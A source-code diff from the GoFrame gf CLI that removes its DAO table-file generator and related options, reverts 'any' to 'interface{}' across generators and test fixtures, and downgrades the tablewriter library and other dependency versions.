-// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-package gendao
-
-import (
-	"bytes"
-	"context"
-	"path/filepath"
-	"sort"
-	"strconv"
-	"strings"
-
-	"github.com/gogf/gf/v2/database/gdb"
-	"github.com/gogf/gf/v2/os/gfile"
-	"github.com/gogf/gf/v2/os/gview"
-	"github.com/gogf/gf/v2/text/gstr"
-	"github.com/gogf/gf/v2/util/gconv"
-
-	"github.com/gogf/gf/cmd/gf/v2/internal/consts"
-	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
-	"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
-)
-
-// generateTable generates dao files for given tables.
-func generateTable(ctx context.Context, in CGenDaoInternalInput) {
-	dirPathTable := gfile.Join(in.Path, in.TablePath)
-	if !in.GenTable {
-		if gfile.Exists(dirPathTable) {
-			in.genItems.AppendDirPath(dirPathTable)
-		}
-		return
-	}
-	in.genItems.AppendDirPath(dirPathTable)
-	for i := 0; i < len(in.TableNames); i++ {
-		var (
-			realTableName = in.TableNames[i]
-			newTableName  = in.NewTableNames[i]
-		)
-		generateTableSingle(ctx, generateTableSingleInput{
-			CGenDaoInternalInput: in,
-			TableName:            realTableName,
-			NewTableName:         newTableName,
-			DirPathTable:         dirPathTable,
-		})
-	}
-}
-
-// generateTableSingleInput is the input parameter for generateTableSingle.
-type generateTableSingleInput struct {
-	CGenDaoInternalInput
-	// TableName specifies the table name of the table.
-	TableName string
-	// NewTableName specifies the prefix-stripped or custom edited name of the table.
-	NewTableName string
-	DirPathTable string
-}
-
-// generateTableSingle generates dao files for a single table.
-func generateTableSingle(ctx context.Context, in generateTableSingleInput) {
-	// Generating table data preparing.
-	fieldMap, err := in.DB.TableFields(ctx, in.TableName)
-	if err != nil {
-		mlog.Fatalf(`fetching tables fields failed for table "%s": %+v`, in.TableName, err)
-	}
-
-	tableNameSnakeCase := gstr.CaseSnake(in.NewTableName)
-	fileName := gstr.Trim(tableNameSnakeCase, "-_.")
-	if len(fileName) > 5 && fileName[len(fileName)-5:] == "_test" {
-		// Add suffix to avoid the table name which contains "_test",
-		// which would make the go file a testing file.
-		fileName += "_table"
-	}
-	path := filepath.FromSlash(gfile.Join(in.DirPathTable, fileName+".go"))
-	in.genItems.AppendGeneratedFilePath(path)
-	if in.OverwriteDao || !gfile.Exists(path) {
-		var (
-			ctx        = context.Background()
-			tplContent = getTemplateFromPathOrDefault(
-				in.TplDaoTablePath, consts.TemplateGenTableContent,
-			)
-		)
-		tplView.ClearAssigns()
-		tplView.Assigns(gview.Params{
-			tplVarGroupName:          in.Group,
-			tplVarTableName:          in.TableName,
-			tplVarTableNameCamelCase: formatFieldName(in.NewTableName, FieldNameCaseCamel),
-			tplVarPackageName:        filepath.Base(in.TablePath),
-			tplVarTableFields:        generateTableFields(fieldMap),
-		})
-		indexContent, err := tplView.ParseContent(ctx, tplContent)
-		if err != nil {
-			mlog.Fatalf("parsing template content failed: %v", err)
-		}
-		if err = gfile.PutContents(path, strings.TrimSpace(indexContent)); err != nil {
-			mlog.Fatalf("writing content to '%s' failed: %v", path, err)
-		} else {
-			utils.GoFmt(path)
-			mlog.Print("generated:", gfile.RealPath(path))
-		}
-	}
-}
-
-// generateTableFields generates and returns the field definition content for specified table.
-func generateTableFields(fields map[string]*gdb.TableField) string {
-	var buf bytes.Buffer
-	fieldNames := make([]string, 0, len(fields))
-	for fieldName := range fields {
-		fieldNames = append(fieldNames, fieldName)
-	}
-	sort.Slice(fieldNames, func(i, j int) bool {
-		return fields[fieldNames[i]].Index < fields[fieldNames[j]].Index // asc
-	})
-	for index, fieldName := range fieldNames {
-		field := fields[fieldName]
-		buf.WriteString("    " + strconv.Quote(field.Name) + ": {\n")
-		buf.WriteString("        Index:   " + gconv.String(field.Index) + ",\n")
-		buf.WriteString("        Name:    " + strconv.Quote(field.Name) + ",\n")
-		buf.WriteString("        Type:    " + strconv.Quote(field.Type) + ",\n")
-		buf.WriteString("        Null:    " + gconv.String(field.Null) + ",\n")
-		buf.WriteString("        Key:     " + strconv.Quote(field.Key) + ",\n")
-		buf.WriteString("        Default: " + generateDefaultValue(field.Default) + ",\n")
-		buf.WriteString("        Extra:   " + strconv.Quote(field.Extra) + ",\n")
-		buf.WriteString("        Comment: " + strconv.Quote(field.Comment) + ",\n")
-		buf.WriteString("    },")
-		if index != len(fieldNames)-1 {
-			buf.WriteString("\n")
-		}
-	}
-	return buf.String()
-}
-
-// generateDefaultValue generates and returns the default value definition for specified field.
-func generateDefaultValue(value interface{}) string {
-	if value == nil {
-		return "nil"
-	}
-	switch v := value.(type) {
-	case string:
-		return strconv.Quote(v)
-	default:
-		return gconv.String(v)
-	}
-}

cmd/gf/internal/cmd/gendao/gendao_tag.go

@@ -60,7 +60,6 @@ CONFIGURATION SUPPORT
 	CGenDaoBriefGJsonSupport      = `use gJsonSupport to use *gjson.Json instead of string for generated json fields of tables`
 	CGenDaoBriefImportPrefix      = `custom import prefix for generated go files`
 	CGenDaoBriefDaoPath           = `directory path for storing generated dao files under path`
-	CGenDaoBriefTablePath         = `directory path for storing generated table files under path`
 	CGenDaoBriefDoPath            = `directory path for storing generated do files under path`
 	CGenDaoBriefEntityPath        = `directory path for storing generated entity files under path`
 	CGenDaoBriefOverwriteDao      = `overwrite all dao files both inside/outside internal folder`
@@ -70,7 +69,6 @@ CONFIGURATION SUPPORT
 	CGenDaoBriefNoJsonTag         = `no json tag will be added for each field`
 	CGenDaoBriefNoModelComment    = `no model comment will be added for each field`
 	CGenDaoBriefClear             = `delete all generated go files that do not exist in database`
-	CGenDaoBriefGenTable          = `generate table files`
 	CGenDaoBriefTypeMapping       = `custom local type mapping for generated struct attributes relevant to fields of table`
 	CGenDaoBriefFieldMapping      = `custom local type mapping for generated struct attributes relevant to specific fields of table`
 	CGenDaoBriefShardingPattern   = `sharding pattern for table name, e.g. "users_?" will be replace tables "users_001,users_002,..." to "users" dao`
@@ -100,7 +98,6 @@ generated json tag case for model struct, cases are as follows:
 	tplVarTableNameCamelLowerCase = `TplTableNameCamelLowerCase`
 	tplVarTableSharding           = `TplTableSharding`
 	tplVarTableShardingPrefix     = `TplTableShardingPrefix`
-	tplVarTableFields             = `TplTableFields`
 	tplVarPackageImports          = `TplPackageImports`
 	tplVarImportPrefix            = `TplImportPrefix`
 	tplVarStructDefine            = `TplStructDefine`
@@ -129,7 +126,6 @@ func init() {
 		`CGenDaoBriefStdTime`:            CGenDaoBriefStdTime,
 		`CGenDaoBriefWithTime`:           CGenDaoBriefWithTime,
 		`CGenDaoBriefDaoPath`:            CGenDaoBriefDaoPath,
-		`CGenDaoBriefTablePath`:          CGenDaoBriefTablePath,
 		`CGenDaoBriefDoPath`:             CGenDaoBriefDoPath,
 		`CGenDaoBriefEntityPath`:         CGenDaoBriefEntityPath,
 		`CGenDaoBriefGJsonSupport`:       CGenDaoBriefGJsonSupport,
@@ -141,7 +137,6 @@ func init() {
 		`CGenDaoBriefNoJsonTag`:          CGenDaoBriefNoJsonTag,
 		`CGenDaoBriefNoModelComment`:     CGenDaoBriefNoModelComment,
 		`CGenDaoBriefClear`:              CGenDaoBriefClear,
-		`CGenDaoBriefGenTable`:           CGenDaoBriefGenTable,
 		`CGenDaoBriefTypeMapping`:        CGenDaoBriefTypeMapping,
 		`CGenDaoBriefFieldMapping`:       CGenDaoBriefFieldMapping,
 		`CGenDaoBriefShardingPattern`:    CGenDaoBriefShardingPattern,

cmd/gf/internal/cmd/genenums/genenums_parser.go

@@ -113,12 +113,12 @@ func (p *EnumsParser) ParsePackage(pkg *packages.Package) {
 }
 
 func (p *EnumsParser) Export() string {
-	var typeEnumMap = make(map[string][]any)
+	var typeEnumMap = make(map[string][]interface{})
 	for _, enum := range p.enums {
 		if typeEnumMap[enum.Type] == nil {
-			typeEnumMap[enum.Type] = make([]any, 0)
+			typeEnumMap[enum.Type] = make([]interface{}, 0)
 		}
-		var value any
+		var value interface{}
 		switch enum.Kind {
 		case constant.Int:
 			value = gconv.Int64(enum.Value)

cmd/gf/internal/cmd/genpb/genpb_tag.go

@@ -109,7 +109,7 @@ func (c CGenPb) tagCommentIntoListMap(comment string, lineTagMap *gmap.ListMap)
 
 func (c CGenPb) listMapToStructTag(lineTagMap *gmap.ListMap) string {
 	var tag string
-	lineTagMap.Iterator(func(key, value any) bool {
+	lineTagMap.Iterator(func(key, value interface{}) bool {
 		if tag != "" {
 			tag += " "
 		}

cmd/gf/internal/cmd/genpbentity/genpbentity.go

@@ -15,8 +15,6 @@ import (
 	"strings"
 
 	"github.com/olekukonko/tablewriter"
-	"github.com/olekukonko/tablewriter/renderer"
-	"github.com/olekukonko/tablewriter/tw"
 
 	"github.com/gogf/gf/v2/container/garray"
 	"github.com/gogf/gf/v2/container/gset"
@@ -445,22 +443,13 @@ func generateEntityMessageDefinition(entityName string, fieldMap map[string]*gdb
 			appendImports = append(appendImports, imports)
 		}
 	}
-	table := tablewriter.NewTable(buffer,
-		tablewriter.WithRenderer(renderer.NewBlueprint(tw.Rendition{
-			Borders: tw.Border{Top: tw.Off, Bottom: tw.Off, Left: tw.On, Right: tw.Off},
-			Settings: tw.Settings{
-				Separators: tw.Separators{BetweenRows: tw.Off, BetweenColumns: tw.Off},
-			},
-			Symbols: tw.NewSymbolCustom("Proto").WithColumn(" "),
-		})),
-		tablewriter.WithConfig(tablewriter.Config{
-			Row: tw.CellConfig{
-				Formatting: tw.CellFormatting{AutoWrap: tw.WrapNone},
-			},
-		}),
-	)
-	table.Bulk(array)
-	table.Render()
+	tw := tablewriter.NewWriter(buffer)
+	tw.SetBorder(false)
+	tw.SetRowLine(false)
+	tw.SetAutoWrapText(false)
+	tw.SetColumnSeparator("")
+	tw.AppendBulk(array)
+	tw.Render()
 	stContent := buffer.String()
 	// Let's do this hack of table writer for indent!
 	stContent = regexp.MustCompile(`\s+\n`).ReplaceAllString(gstr.Replace(stContent, "  #", ""), "\n")

cmd/gf/internal/cmd/genservice/genservice.go

@@ -13,6 +13,8 @@ import (
 	"sync"
 	"sync/atomic"
 
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
 	"github.com/gogf/gf/v2/container/garray"
 	"github.com/gogf/gf/v2/container/gmap"
 	"github.com/gogf/gf/v2/container/gset"
@@ -23,9 +25,6 @@ import (
 	"github.com/gogf/gf/v2/text/gstr"
 	"github.com/gogf/gf/v2/util/gconv"
 	"github.com/gogf/gf/v2/util/gtag"
-
-	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
-	"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
 )
 
 const (

cmd/gf/internal/cmd/genservice/genservice_generate_template.go

@@ -33,7 +33,7 @@ func (c CGenService) generateType(generatedContent *bytes.Buffer, srcStructFunct
 	generatedContent.WriteString("type(")
 	generatedContent.WriteString("\n")
 
-	srcStructFunctions.Iterator(func(key, value any) bool {
+	srcStructFunctions.Iterator(func(key, value interface{}) bool {
 		var (
 			funcContents = make([]string, 0)
 			funcContent  string
@@ -71,7 +71,7 @@ func (c CGenService) generateVar(generatedContent *bytes.Buffer, srcStructFuncti
 	// Generating variable and register definitions.
 	var variableContent string
 
-	srcStructFunctions.Iterator(func(key, value any) bool {
+	srcStructFunctions.Iterator(func(key, value interface{}) bool {
 		structName := key.(string)
 		variableContent += gstr.Trim(gstr.ReplaceByMap(consts.TemplateGenServiceContentVariable, g.MapStrStr{
 			"{StructName}":    structName,
@@ -93,7 +93,7 @@ func (c CGenService) generateVar(generatedContent *bytes.Buffer, srcStructFuncti
 // See: const.TemplateGenServiceContentRegister
 func (c CGenService) generateFunc(generatedContent *bytes.Buffer, srcStructFunctions *gmap.ListMap) {
 	// Variable register function definitions.
-	srcStructFunctions.Iterator(func(key, value any) bool {
+	srcStructFunctions.Iterator(func(key, value interface{}) bool {
 		structName := key.(string)
 		generatedContent.WriteString(gstr.Trim(gstr.ReplaceByMap(consts.TemplateGenServiceContentRegister, g.MapStrStr{
 			"{StructName}":    structName,

cmd/gf/internal/cmd/testdata/build/varmap/go.mod

@@ -1,15 +1,12 @@
 module github.com/gogf/gf/cmd/gf/cmd/gf/testdata/vardump/v2
 
-go 1.23.0
+go 1.22
 
-toolchain go1.24.6
-
-require github.com/gogf/gf/v2 v2.9.6
+require github.com/gogf/gf/v2 v2.8.2
 
 require (
-	go.opentelemetry.io/otel v1.38.0 // indirect
-	go.opentelemetry.io/otel/trace v1.38.0 // indirect
-	golang.org/x/text v0.28.0 // indirect
+	go.opentelemetry.io/otel v1.32.0 // indirect
+	go.opentelemetry.io/otel/trace v1.32.0 // indirect
 )
 
 replace github.com/gogf/gf/v2 => ../../../../../../../

cmd/gf/internal/cmd/testdata/build/varmap/go.sum

@@ -1,62 +1,31 @@
-github.com/BurntSushi/toml v1.5.0 h1:W5quZX/G/csjUnuI8SUYlsHs9M38FC7znL0lIO+DvMg=
-github.com/BurntSushi/toml v1.5.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
+github.com/BurntSushi/toml v1.4.0 h1:kuoIxZQy2WRRk1pttg9asf+WVv6tWQuBNVmK8+nqPr0=
 github.com/clbanning/mxj/v2 v2.7.0 h1:WA/La7UGCanFe5NpHF0Q3DNtnCsVoxbPKuyBNHWRyME=
-github.com/clbanning/mxj/v2 v2.7.0/go.mod h1:hNiWqW14h+kc+MdF9C6/YoRfjEJoR3ou6tn/Qo+ve2s=
 github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
-github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/emirpasic/gods/v2 v2.0.0-alpha h1:dwFlh8pBg1VMOXWGipNMRt8v96dKAIvBehtCt6OtunU=
-github.com/emirpasic/gods/v2 v2.0.0-alpha/go.mod h1:W0y4M2dtBB9U5z3YlghmpuUhiaZT2h6yoeE+C1sCp6A=
-github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
-github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
-github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
-github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
-github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
-github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
+github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc=
+github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4=
+github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
+github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY=
 github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
-github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
-github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
-github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
-github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
-github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
 github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
-github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
 github.com/grokify/html-strip-tags-go v0.1.0 h1:03UrQLjAny8xci+R+qjCce/MYnpNXCtgzltlQbOBae4=
-github.com/grokify/html-strip-tags-go v0.1.0/go.mod h1:ZdzgfHEzAfz9X6Xe5eBLVblWIxXfYSQ40S/VKrAOGpc=
-github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE=
-github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
+github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY=
 github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
-github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
 github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
-github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
-github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
-github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
-github.com/olekukonko/errors v1.1.0 h1:RNuGIh15QdDenh+hNvKrJkmxxjV4hcS50Db478Ou5sM=
-github.com/olekukonko/errors v1.1.0/go.mod h1:ppzxA5jBKcO1vIpCXQ9ZqgDh8iwODz6OXIGKU8r5m4Y=
-github.com/olekukonko/ll v0.0.9 h1:Y+1YqDfVkqMWuEQMclsF9HUR5+a82+dxJuL1HHSRpxI=
-github.com/olekukonko/ll v0.0.9/go.mod h1:En+sEW0JNETl26+K8eZ6/W4UQ7CYSrrgg/EdIYT2H8g=
-github.com/olekukonko/tablewriter v1.1.0 h1:N0LHrshF4T39KvI96fn6GT8HEjXRXYNDrDjKFDB7RIY=
-github.com/olekukonko/tablewriter v1.1.0/go.mod h1:5c+EBPeSqvXnLLgkm9isDdzR3wjfBkHR9Nhfp3NWrzo=
+github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U=
+github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
-github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
-github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
-github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
-go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
-go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
-go.opentelemetry.io/otel v1.38.0 h1:RkfdswUDRimDg0m2Az18RKOsnI8UDzppJAtj01/Ymk8=
-go.opentelemetry.io/otel v1.38.0/go.mod h1:zcmtmQ1+YmQM9wrNsTGV/q/uyusom3P8RxwExxkZhjM=
-go.opentelemetry.io/otel/metric v1.38.0 h1:Kl6lzIYGAh5M159u9NgiRkmoMKjvbsKtYRwgfrA6WpA=
-go.opentelemetry.io/otel/metric v1.38.0/go.mod h1:kB5n/QoRM8YwmUahxvI3bO34eVtQf2i4utNVLr9gEmI=
-go.opentelemetry.io/otel/sdk v1.38.0 h1:l48sr5YbNf2hpCUj/FoGhW9yDkl+Ma+LrVl8qaM5b+E=
-go.opentelemetry.io/otel/sdk v1.38.0/go.mod h1:ghmNdGlVemJI3+ZB5iDEuk4bWA3GkTpW+DOoZMYBVVg=
-go.opentelemetry.io/otel/trace v1.38.0 h1:Fxk5bKrDZJUH+AMyyIXGcFAPah0oRcT+LuNtJrmcNLE=
-go.opentelemetry.io/otel/trace v1.38.0/go.mod h1:j1P9ivuFsTceSWe1oY+EeW3sc+Pp42sO++GHkg4wwhs=
-golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY=
-golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds=
-golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
-golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
-golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng=
-golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU=
+github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
+github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
+go.opentelemetry.io/otel v1.24.0 h1:0LAOdjNmQeSTzGBzduGe/rU4tZhMwL5rWgtp9Ku5Jfo=
+go.opentelemetry.io/otel v1.24.0/go.mod h1:W7b9Ozg4nkF5tWI5zsXkaKKDjdVjpD4oAt9Qi/MArHo=
+go.opentelemetry.io/otel v1.32.0/go.mod h1:00DCVSB0RQcnzlwyTfqtxSm+DRr9hpYrHjNGiBHVQIg=
+go.opentelemetry.io/otel/metric v1.24.0 h1:6EhoGWWK28x1fbpA4tYTOWBkPefTDQnb8WSGXlc88kI=
+go.opentelemetry.io/otel/sdk v1.24.0 h1:YMPPDNymmQN3ZgczicBY3B6sf9n62Dlj9pWD3ucgoDw=
+go.opentelemetry.io/otel/trace v1.24.0 h1:CsKnnL4dUAr/0llH9FKuc698G04IrpWV0MQA/Y1YELI=
+go.opentelemetry.io/otel/trace v1.24.0/go.mod h1:HPc3Xr/cOApsBI154IU0OI0HJexz+aw5uPdbs3UCjNU=
+go.opentelemetry.io/otel/trace v1.32.0/go.mod h1:+i4rkvCraA+tG6AzwloGaCtkx53Fa+L+V8e9a7YvhT8=
+golang.org/x/net v0.27.0 h1:5K3Njcw06/l2y9vpGCSdcxWOYHOUk3dVNGDXN+FvAys=
+golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
+golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4=
 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
-gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

cmd/gf/internal/cmd/testdata/gendao/generated_user/model/do/table_user.go

@@ -12,11 +12,11 @@ import (
 // TableUser is the golang structure of table table_user for DAO operations like Where/Data.
 type TableUser struct {
 	g.Meta   `orm:"table:table_user, do:true"`
-	Id       any         // User ID
-	Passport any         // User Passport
-	Password any         // User Password
-	Nickname any         // User Nickname
-	Score    any         // Total score amount.
+	Id       interface{} // User ID
+	Passport interface{} // User Passport
+	Password interface{} // User Password
+	Nickname interface{} // User Nickname
+	Score    interface{} // Total score amount.
 	CreateAt *gtime.Time // Created Time
 	UpdateAt *gtime.Time // Updated Time
 }

cmd/gf/internal/cmd/testdata/gendao/generated_user_field_mapping/model/do/table_user.go

@@ -12,11 +12,11 @@ import (
 // TableUser is the golang structure of table table_user for DAO operations like Where/Data.
 type TableUser struct {
 	g.Meta   `orm:"table:table_user, do:true"`
-	Id       any         // User ID
-	Passport any         // User Passport
-	Password any         // User Password
-	Nickname any         // User Nickname
-	Score    any         // Total score amount.
+	Id       interface{} // User ID
+	Passport interface{} // User Passport
+	Password interface{} // User Password
+	Nickname interface{} // User Nickname
+	Score    interface{} // Total score amount.
 	CreateAt *gtime.Time // Created Time
 	UpdateAt *gtime.Time // Updated Time
 }

cmd/gf/internal/cmd/testdata/gendao/generated_user_sqlite3/model/do/table_user.go

@@ -12,10 +12,10 @@ import (
 // TableUser is the golang structure of table table_user for DAO operations like Where/Data.
 type TableUser struct {
 	g.Meta    `orm:"table:table_user, do:true"`
-	Id        any         //
-	Passport  any         //
-	Password  any         //
-	Nickname  any         //
+	Id        interface{} //
+	Passport  interface{} //
+	Password  interface{} //
+	Nickname  interface{} //
 	CreatedAt *gtime.Time //
 	UpdatedAt *gtime.Time //
 }

cmd/gf/internal/cmd/testdata/gendao/generated_user_type_mapping/model/do/table_user.go

@@ -12,11 +12,11 @@ import (
 // TableUser is the golang structure of table table_user for DAO operations like Where/Data.
 type TableUser struct {
 	g.Meta   `orm:"table:table_user, do:true"`
-	Id       any         // User ID
-	Passport any         // User Passport
-	Password any         // User Password
-	Nickname any         // User Nickname
-	Score    any         // Total score amount.
+	Id       interface{} // User ID
+	Passport interface{} // User Passport
+	Password interface{} // User Password
+	Nickname interface{} // User Nickname
+	Score    interface{} // Total score amount.
 	CreateAt *gtime.Time // Created Time
 	UpdateAt *gtime.Time // Updated Time
 }

cmd/gf/internal/cmd/testdata/genservice/logic/article/article_extra.go

@@ -63,14 +63,14 @@ func (s *sArticle) T3(ctx context.Context, b *gdbas.Model) (c, d *gdbas.Model, e
  * random comment
  */
 
-// func (s *sArticle) T4(i any) any
+// func (s *sArticle) T4(i interface{}) interface{}
 // # $ % ^ & * ( ) _ + - = { } | [ ] \ : " ; ' < > ? , . /
-func (s *sArticle) T4(i any) any {
+func (s *sArticle) T4(i interface{}) interface{} {
 	return nil
 }
 
 /**
- * func (s *sArticle) T4(i any) any {
+ * func (s *sArticle) T4(i interface{}) interface{} {
  * 		return nil
  * }
  */

cmd/gf/internal/cmd/testdata/genservice/service/article.go

@@ -36,9 +36,9 @@ type (
 		 * @author oldme
 		 */
 		T3(ctx context.Context, b *gdbas.Model) (c *gdbas.Model, d *gdbas.Model, err error)
-		// func (s *sArticle) T4(i any) any
+		// func (s *sArticle) T4(i interface{}) interface{}
 		// # $ % ^ & * ( ) _ + - = { } | [ ] \ : " ; ' < > ? , . /
-		T4(i any) any
+		T4(i interface{}) interface{}
 	}
 )
 

cmd/gf/internal/cmd/testdata/issue/2572/model/do/user_3.go

@@ -12,11 +12,11 @@ import (
 // User1 is the golang structure of table user1 for DAO operations like Where/Data.
 type User1 struct {
 	g.Meta   `orm:"table:user1, do:true"`
-	Id       any         // User ID
-	Passport any         // User Passport
-	Password any         // User Password
-	Nickname any         // User Nickname
-	Score    any         // Total score amount.
+	Id       interface{} // User ID
+	Passport interface{} // User Passport
+	Password interface{} // User Password
+	Nickname interface{} // User Nickname
+	Score    interface{} // Total score amount.
 	CreateAt *gtime.Time // Created Time
 	UpdateAt *gtime.Time // Updated Time
 }

cmd/gf/internal/cmd/testdata/issue/2572/model/do/user_4.go

@@ -12,11 +12,11 @@ import (
 // User2 is the golang structure of table user2 for DAO operations like Where/Data.
 type User2 struct {
 	g.Meta   `orm:"table:user2, do:true"`
-	Id       any         // User ID
-	Passport any         // User Passport
-	Password any         // User Password
-	Nickname any         // User Nickname
-	Score    any         // Total score amount.
+	Id       interface{} // User ID
+	Passport interface{} // User Passport
+	Password interface{} // User Password
+	Nickname interface{} // User Nickname
+	Score    interface{} // Total score amount.
 	CreateAt *gtime.Time // Created Time
 	UpdateAt *gtime.Time // Updated Time
 }

cmd/gf/internal/cmd/testdata/issue/2616/model/do/user_3.go

@@ -12,11 +12,11 @@ import (
 // User1 is the golang structure of table user1 for DAO operations like Where/Data.
 type User1 struct {
 	g.Meta   `orm:"table:user1, do:true"`
-	Id       any         // User ID
-	Passport any         // User Passport
-	Password any         // User Password
-	Nickname any         // User Nickname
-	Score    any         // Total score amount.
+	Id       interface{} // User ID
+	Passport interface{} // User Passport
+	Password interface{} // User Password
+	Nickname interface{} // User Nickname
+	Score    interface{} // Total score amount.
 	CreateAt *gtime.Time // Created Time
 	UpdateAt *gtime.Time // Updated Time
 }

cmd/gf/internal/cmd/testdata/issue/2616/model/do/user_4.go

@@ -12,11 +12,11 @@ import (
